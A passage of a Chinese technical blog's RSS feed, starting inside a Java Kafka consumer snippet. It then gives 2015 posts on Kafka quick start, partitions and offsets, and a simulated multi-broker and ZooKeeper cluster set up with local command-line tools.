&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Map&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;topicCountMap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;HashMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;topicCountMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;put&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;Integer&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;1&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;));&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;Map&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;,&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;List&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;KafkaStream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[],&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&amp;gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumerMap&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumer&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;createMessageStreams&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topicCountMap&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;KafkaStream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[],&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;consumerMap&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;topic&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;get&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;mi&#34;&gt;0&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;n&#34;&gt;ConsumerIterator&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[],&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;byte&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;[]&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;it&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;=&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;stream&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;iterator&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;k&#34;&gt;while&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;it&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;hasNext&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;System&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;out&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;println&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;s2&#34;&gt;&amp;#34;Receive-&amp;gt;[&amp;#34;&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;new&lt;/span&gt; &lt;span class=&#34;ne&#34;&gt;String&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;it&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;next&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;()&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;message&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;())&lt;/span&gt; &lt;span class=&#34;o&#34;&gt;+&lt;/span&gt; &lt;span class=&#34;s2&#34;&gt;&amp;#34;]&amp;#34;&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;n&#34;&gt;try&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;sleep&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;SLEEP&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;catch&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;(&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;Exception&lt;/span&gt; &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;)&lt;/span&gt; &lt;span class=&#34;p&#34;&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                    &lt;span class=&#34;n&#34;&gt;ex&lt;/span&gt;&lt;span class=&#34;o&#34;&gt;.&lt;/span&gt;&lt;span class=&#34;n&#34;&gt;printStackTrace&lt;/span&gt;&lt;span class=&#34;p&#34;&gt;();&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;                &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;            &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;        &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class=&#34;line&#34;&gt;&lt;span class=&#34;cl&#34;&gt;    &lt;span class=&#34;p&#34;&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;5 编写启动辅助类&lt;/p&gt;</description>
    </item>
    <item>
      <title>kafka文章推荐</title>
      <link>http://blog.leaver.me/2015/09/07/kafka%E6%96%87%E7%AB%A0%E6%8E%A8%E8%8D%90/</link>
      <pubDate>Mon, 07 Sep 2015 23:45:50 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/07/kafka%E6%96%87%E7%AB%A0%E6%8E%A8%E8%8D%90/</guid>
      <description>&lt;p&gt;本文主要分享看到的好的关于kafka的文章.后续看到持续更新&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-1&#34;&gt;Kafka剖析（一）：Kafka背景及架构介绍&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-2&#34;&gt;Kafka设计解析（二）：Kafka High Availability （上）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-3&#34;&gt;Kafka设计解析（三）：Kafka High Availability （下）&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://www.infoq.com/cn/articles/kafka-analysis-part-4&#34;&gt;Kafka设计解析（四）：Kafka Consumer解析&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka分布式部署与验证</title>
      <link>http://blog.leaver.me/2015/09/05/kafka%E5%88%86%E5%B8%83%E5%BC%8F%E9%83%A8%E7%BD%B2%E4%B8%8E%E9%AA%8C%E8%AF%81/</link>
      <pubDate>Sat, 05 Sep 2015 07:30:13 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/05/kafka%E5%88%86%E5%B8%83%E5%BC%8F%E9%83%A8%E7%BD%B2%E4%B8%8E%E9%AA%8C%E8%AF%81/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/&#34;&gt;kafka快速上手&lt;/a&gt;,和&lt;a href=&#34;http://leaver.me/2015/09/04/kafka%E4%B8%AD%E7%9A%84partition%E5%92%8Coffset/&#34;&gt;kafka中的partition和offset&lt;/a&gt;中,已经解释了kafka的一些原理,和完成了一个简单的生产消费的实践,如第一篇所说,kafka是一个分布式环境下的消息组件,那么,按照我们前面的简单上手,如果kafka的应用进程被杀或者kafka的机器宕机,那么kafka消息组件就无法使用了,或者zookeeper宕机了,那么kafka也无法使用了.&lt;/p&gt;
&lt;h2 id=&#34;kafka集群cluster&#34;&gt;kafka集群(cluster)&lt;/h2&gt;
&lt;p&gt;一台机器不够,那就多搞几台,首先,启动zookeeper这个就不多说了.可以参看前文,在启动kafka的时候,我们在单机模拟启动多个kafka应用.
首先在config目录,copy两个server.properties 文件,这里我复制三份,分别起名server1.properties ,server2.properties server3.properties
然后修改这三个配置文件,主要修改broker.id=2,port=9094,log.dir=/tmp/kafka-logs-2这三个值,broker.id是用来标记分布式环境中的broker的,要求唯一,port和log.dir一个端口,一个log目录,如果在真实的分布式环境中是不需要修改.这里单机模拟防止端口冲突.&lt;/p&gt;
&lt;p&gt;分别把broker.id改为1,2,3,log.dir则分别改成kafka-logs-1,kafka-logs-2,kafka-logs-3,然后依次启动
&lt;code&gt;kafka-server-start.bat ../../config/server1.properties&lt;/code&gt;
&lt;code&gt;kafka-server-start.bat ../../config/server2.properties&lt;/code&gt;
&lt;code&gt;kafka-server-start.bat ../../config/server3.properties&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;如果你启动有报错,一个就是之前说的那个vm参数太大,另一个可能是你的端口没改好.具体错误看下报错就好了.&lt;/p&gt;
&lt;p&gt;然后我们注册一个topic,叫做replicationtest
&lt;code&gt;kafka-topics.bat --create --zookeeper localhost:2181 --replication-factor 3 --partitions 1 --topic replicationtest&lt;/code&gt;
这里冗余是3,分区是1,那么最终各个broker都会保留一份,最多允许N-1,也就是2台broker宕机,服务照样运行.
注册之后,这时候
&lt;code&gt;kafka-topics.bat--describe --zookeeper localhost:2181 --topic replicationtest&lt;/code&gt;
执行描述命令,看下集群情况
&lt;img alt=&#34;集群描述结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_cluster_show.jpg&#34;&gt;
第一行给出了分区的汇总信息。每个分区行给出分区信息。&lt;/p&gt;
&lt;p&gt;&amp;ldquo;Leader&amp;rdquo; 节点是2.
&amp;ldquo;Replicas&amp;rdquo; 信息，在节点2,3,1上,所有的节点信息.
&amp;ldquo;Isr&amp;rdquo; 工作中的复制节点的集合. 也就是活的节点的集合.&lt;/p&gt;
&lt;p&gt;其他的就不用解释了.这里选出了2是leader,也就是说2这个节点会给消费者提供服务.&lt;/p&gt;
&lt;p&gt;然后我们测试一条信息.
&lt;code&gt;kafka-console-producer.bat --broker-list localhost:7777,localhost:8888,localhost:9999 --topic replicationtest&lt;/code&gt;
上面的7777是server1.properties 中设置的.根据个人情况.改改.然后在控制台发发消息.&lt;/p&gt;
&lt;p&gt;然后消费一下.
&lt;code&gt;kafka-console-consumer.bat --zookeeper localhost:2181 --topic replicationtest&lt;/code&gt;
这里的2181是zookeeper的端口,不用改.
&lt;img alt=&#34;目前运行结果&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_replication_test.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;然后.我们开始关掉一个broker,在3的控制台里CTRL,C.然后是否终止操作,输入Y.
再发一条消息
&lt;img alt=&#34;broker3宕机&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker3_down.jpg&#34;&gt;
一切正常.我们看一下集群信息
&lt;img alt=&#34;broker3宕机集群&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker3_down_cluster.jpg&#34;&gt;
发现Isr中存活的机器少了3.因为3挂了.
然后我们关掉broker2.这时候,会触发新的leader选举.期望值1变成leader,再发一条消息
&lt;img alt=&#34;broker2宕机&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker2_down.jpg&#34;&gt;
可以看到生产者发消息过程中,产生了异常,因为和2的连接断开了.但是注意,消息并没有丢,因为触发了新的选举.可以看到,消费者还是接到了正常的消息.集群情况如下
&lt;img alt=&#34;broker2宕机集群&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_broker2_down_cluster.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;至此,kafka的broker集群测试完毕,那么剩下的问题来了.消费者启动的时候连接的是zookeeper的地址,如果这台zookeeper挂了呢.
那么我们需要zookeeper集群部署.&lt;/p&gt;
&lt;h2 id=&#34;zookeeper集群&#34;&gt;zookeeper集群&lt;/h2&gt;
&lt;p&gt;这就包括两部分.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;是broker本来要能知道这些zookeeper集群的地址,当一个宕机的时候,才会切换到另一个zookeeper&lt;/li&gt;
&lt;li&gt;消费者要知道这些zookeeper的地址,理由同上.&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;因此步骤如下.可以自己试一试,比较简单&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;复制3份zookeeper.properties文件,命名为zookeeper1.properties,zookeeper2.properties,zookeeper3.properties,修改文件中的dataDir=/tmp/zookeeper和,clientPort=2181,端口分别设置为2181,2182,2183.然后启动三个zookeeper&lt;/li&gt;
&lt;li&gt;修改kafka启动配置,server1.properties三个文件中的zookeeper.connect=localhost:2181这个配置,逗号隔开.最终为zookeeper.connect=localhost:2181,localhost:2182,localhost:2183,然后启动&lt;/li&gt;
&lt;li&gt;生产者也改下配置中的.metadata.broker.list=localhost:9092,如果使用命令行启动就不用改了.参数指定也可以.&lt;/li&gt;
&lt;li&gt;消费者同理,可以改下配置文件中zookeeper.connect=127.0.0.1:2181,也可以命令行启动的时候修改.
5.最终就是各种宕机测试了.&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka中的partition和offset</title>
      <link>http://blog.leaver.me/2015/09/04/kafka%E4%B8%AD%E7%9A%84partition%E5%92%8Coffset/</link>
      <pubDate>Fri, 04 Sep 2015 00:01:21 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/04/kafka%E4%B8%AD%E7%9A%84partition%E5%92%8Coffset/</guid>
      <description>&lt;p&gt;在&lt;a href=&#34;http://leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/&#34;&gt;kafka快速上手&lt;/a&gt;中,留下的问题是关于partition和offset,这篇文章主要解释这个.&lt;/p&gt;
&lt;h2 id=&#34;log机制&#34;&gt;Log机制&lt;/h2&gt;
&lt;p&gt;说到分区,就要说kafka对消息的存储.在&lt;a href=&#34;http://kafka.apache.org/documentation.html#replication&#34;&gt;官方文档&lt;/a&gt;中.
&lt;img alt=&#34;分区读写日志图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_partition_log.jpg&#34;&gt;
首先,kafka是通过log(日志)来记录消息发布的.每当产生一个消息,kafka会记录到本地的log文件中,这个log和我们平时的log有一定的区别.这里可以参考一下&lt;a href=&#34;http://www.cnblogs.com/foreach-break/p/notes_about_distributed_system_and_The_log.html&#34;&gt;The Log&lt;/a&gt;,不多解释.&lt;/p&gt;
&lt;p&gt;这个log文件默认的位置在config/server.properties中指定的.默认的位置是log.dirs=/tmp/kafka-logs,linux不用说,windows的话就在你对应磁盘的根目录下.我这里是D盘.&lt;/p&gt;
&lt;p&gt;#分区partition#
kafka是为分布式环境设计的,因此如果日志文件,其实也可以理解成消息数据库,放在同一个地方,那么必然会带来可用性的下降,一挂全挂,如果全量拷贝到所有的机器上,那么数据又存在过多的冗余,而且由于每台机器的磁盘大小是有限的,所以即使有再多的机器,可处理的消息还是被磁盘所限制,无法超越当前磁盘大小.因此有了partition的概念.&lt;/p&gt;
&lt;p&gt;kafka对消息进行一定的计算,通过hash来进行分区.这样,就把一份log文件分成了多份.如上面的分区读写日志图,分成多份以后,在单台broker上,比如快速上手中,如果新建topic的时候,我们选择了&lt;code&gt;--replication-factor 1 --partitions 2&lt;/code&gt;,那么在log目录里,我们会看到
test-0目录和test-1目录.就是两个分区了.&lt;/p&gt;
&lt;p&gt;你可能会想,这特么没啥区别呀.注意,当有了多个broker之后,这个意义就存在了.这里上一张图,原文在参考链接里有
&lt;img alt=&#34;kafka分布式分区存储&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_partition_storage.jpg&#34;&gt;
这是一个topic包含4个Partition，2 Replication(拷贝),也就是说全部的消息被放在了4个分区存储,为了高可用,将4个分区做了2份冗余,然后根据&lt;a href=&#34;http://blog.csdn.net/lizhitao/article/details/41778193&#34;&gt;分配算法&lt;/a&gt;.将总共8份数据,分配到broker集群上.&lt;/p&gt;
&lt;p&gt;结果就是每个broker上存储的数据比全量数据要少,但每份数据都有冗余,这样,一旦一台机器宕机,并不影响使用.比如图中的Broker1,宕机了.那么剩下的三台broker依然保留了全量的分区数据.所以还能使用,如果再宕机一台,那么数据不完整了.当然你可以设置更多的冗余,比如设置了冗余是4,那么每台机器就有了0123完整的数据,宕机几台都行.需要在存储占用和高可用之间做衡量.
至于宕机后,zookeeper会选出新的partition leader.来提供服务.这个等下篇文章&lt;/p&gt;
&lt;p&gt;#偏移offset#&lt;/p&gt;
&lt;p&gt;上一段说了分区,分区就是一个有序的,不可变的消息队列.新来的commit log持续往后面加数据.这些消息被分配了一个下标(或者偏移),就是offset,用来定位这一条消息.&lt;/p&gt;
&lt;p&gt;消费者消费到了哪条消息,是保持在消费者这一端的.消息者也可以控制,消费者可以在本地保存最后消息的offset,并间歇性的向zookeeper注册offset.也可以重置offset&lt;/p&gt;
&lt;p&gt;#如何通过offset算出分区#&lt;/p&gt;
&lt;p&gt;其实partition存储的时候,又分成了多个segment(段),然后通过一个index,索引,来标识第几段.这里先可以去看一下本地log目录的分区文件夹.
在我这里,test-0,这个分区里面,会有一个index文件和一个log文件,
&lt;img alt=&#34;index和log&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_index_log.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;对于某个指定的分区,假设每5个消息,作为一个段大小,当产生了10条消息的情况想,目前有会得到(只是解释)
0.index (表示这里index是对0-4做的索引)
5.index (表示这里index是对5-9做的索引)
10.index (表示这里index是对10-15做的索引,目前还没满)
和
0.log
5.log
10.log
,当消费者需要读取offset=8的时候,首先kafka对index文件列表进行二分查找,可以算出.应该是在5.index对应的log文件中,然后对对应的5.log文件,进行顺序查找,5-&amp;gt;6-&amp;gt;7-&amp;gt;8,直到顺序找到8就好了.&lt;/p&gt;
&lt;p&gt;具体的算法参看&lt;a href=&#34;http://tech.meituan.com/kafka-fs-design-theory.html&#34;&gt;美团的文章&lt;/a&gt;好了&lt;/p&gt;
&lt;h2 id=&#34;更多文档&#34;&gt;更多文档&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://kafka.apache.org/documentation.html&#34;&gt;官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://tech.meituan.com/kafka-fs-design-theory.html&#34;&gt;Kafka文件存储机制那些事&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://blog.csdn.net/lizhitao/article/details/41778193&#34;&gt;Kafka集群partition replication自动分配分析&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>kafka快速上手</title>
      <link>http://blog.leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/</link>
      <pubDate>Thu, 03 Sep 2015 22:29:57 +0000</pubDate>
      <guid>http://blog.leaver.me/2015/09/03/kafka%E5%BF%AB%E9%80%9F%E4%B8%8A%E6%89%8B/</guid>
      <description>&lt;h2 id=&#34;简单介绍&#34;&gt;简单介绍&lt;/h2&gt;
&lt;p&gt;kafka是一个分布式消息中间件,在kafka中主要涉及到四个基本名词:
&lt;strong&gt;Topic&lt;/strong&gt;
Kafka将消息种子分门别类， 每一类的消息称之为一个主题(Topic).&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Producer&lt;/strong&gt;
发布消息的对象称之为主题生产者.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Consumer&lt;/strong&gt;
订阅消息并处理消息的对象称之为主题消费者&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Broker&lt;/strong&gt;
已发布的消息保存在一组服务器中，称之为Kafka集群。集群中的每一个服务器称为一个代理(Broker). 消费者可以订阅一个或多个主题，并从Broker拉数据(注意是拉,不是pull,)，从而消费这些已发布的消息。&lt;/p&gt;
&lt;h2 id=&#34;安装以windows为例&#34;&gt;安装(以windows为例)&lt;/h2&gt;
&lt;p&gt;安装非常简单,从这里&lt;a href=&#34;http://kafka.apache.org/downloads.html&#34;&gt;下载&lt;/a&gt;,下载完成后解压到一个目录就好了.&lt;/p&gt;
&lt;h2 id=&#34;简单使用&#34;&gt;简单使用&lt;/h2&gt;
&lt;p&gt;首先使用kafka的一个流程就是生产者生产消息,发送给kafka集群,然后消费者从kafka集群中获取消息进行消费.
要启动kafka需要先启动zookeeper,因为ZooKeeper是通过冗余服务实现高可用性的,也就是说在分布式环境中,如何保证kafka集群的高可用.zookeeper会来做leader选取,当消费者准备发消息时,会从zookeeper中获取一个可用的消息服务器地址,然后连接进行发送,保证党集群内有服务器宕机并不影响整体的使用.
&lt;img alt=&#34;来自slideshare的一张图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_transfer.jpg&#34;&gt;&lt;/p&gt;
&lt;p&gt;1.启动自带的简易zookeeper.
进行解压目录的bin/windows目录
&lt;code&gt;zookeeper-server-start.bat ../../config/zookeeper.properties&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;执行命令启动,从zookeeper.properties中会看到.zookeeper会开发一个clientPort=2181,2181的端口给消费者使用,其实也可以给生产者使用,但是在0.8.0版本后，producer不再通过zookeeper连接broker, 而是通过brokerlist（192.168.0.1:9092,192.168.0.2:9092,192.168.0.3:9092配置,直接和broker连接，只要能和一个broker连接上就能够获取到集群中其他broker上的信息,绕过了zookeeper.&lt;/p&gt;
&lt;p&gt;2.启动kafka服务
&lt;code&gt;kafka-server-start.bat ../../config/server.properties&lt;/code&gt; 执行启动,另一个命令行窗口,同样的.查看配置问题,会知道kafka的服务会在port=9092 ,9092端口打开.&lt;/p&gt;
&lt;p&gt;3.注册一个topic
&lt;code&gt;kafka-topics.bat --create --zookeeper localhost:2181 --replication-factor 1 --partitions 1 --topic test&lt;/code&gt;
这个命令中,create表示创建.zookeeper 和后面的地址表示kafka使用本机2181端口开放的zookeeper保持高可用.replication-factor表示消息只冗余一份,目前我们只有一个kafka机器,broker,partitions 表示一份分区,分区是kafka的另一个概念,大致是说,同一topic内部的消息按照一定的key和算法被分区(partition)存储在不同的位置上，这个下次写好了.这样已经在kafka注册了一个名为test的消息topic了.&lt;/p&gt;
&lt;p&gt;4.使用简易的控制台生产者模拟
&lt;code&gt;kafka-console-producer.bat --broker-list localhost:9092 --topic test&lt;/code&gt;
前面说过了.新版本生产者直接通过brokerlist来连接kafka,目前只有一台,所以就一个地址,准备向test这个topic发送消息.&lt;/p&gt;
&lt;p&gt;5.使用简易的控制台消费者模拟
&lt;code&gt;kafka-console-consumer.bat --zookeeper localhost:2181 --topic test&lt;/code&gt;
这个前面也说过了.消费者使用zookeeper获取可用的broker列表,然后拉去消息,并且还有一些offset同步的问题.和分区,文件存储一起的一个概念,下次写.&lt;/p&gt;
&lt;p&gt;6.开始生产和消费消息
至此,已经开了四个控制台窗口了..在producer窗口里,随便打几个字,然后enter,在消费者的窗口里将会显示出来.
&lt;img alt=&#34;实际测试图&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_demo.jpg&#34;&gt;&lt;/p&gt;
&lt;h2 id=&#34;其他问题&#34;&gt;其他问题&lt;/h2&gt;
&lt;p&gt;实际可能不那么顺利,如果你启动kafka或者其他应用的时候,有错误提示,提示无法创建虚拟机vm这样的.那么修改一下对应的bat脚本.就好了
&lt;img alt=&#34;启动错误&#34; loading=&#34;lazy&#34; src=&#34;http://blog.leaver.me/images/kafka_start_error.jpg&#34;&gt;,vm的heap申请是1G,如果你机器内存不够,改成512M,或者更小的就好了.&lt;/p&gt;
&lt;h2 id=&#34;更多文档&#34;&gt;更多文档&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a href=&#34;http://kafka.apache.org/documentation.html&#34;&gt;官方文档&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://colobu.com/2014/08/06/kafka-quickstart&#34;&gt;kafka快速入门&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</description>
    </item>
    <item>
      <title>执行简单sql的小工具</title>
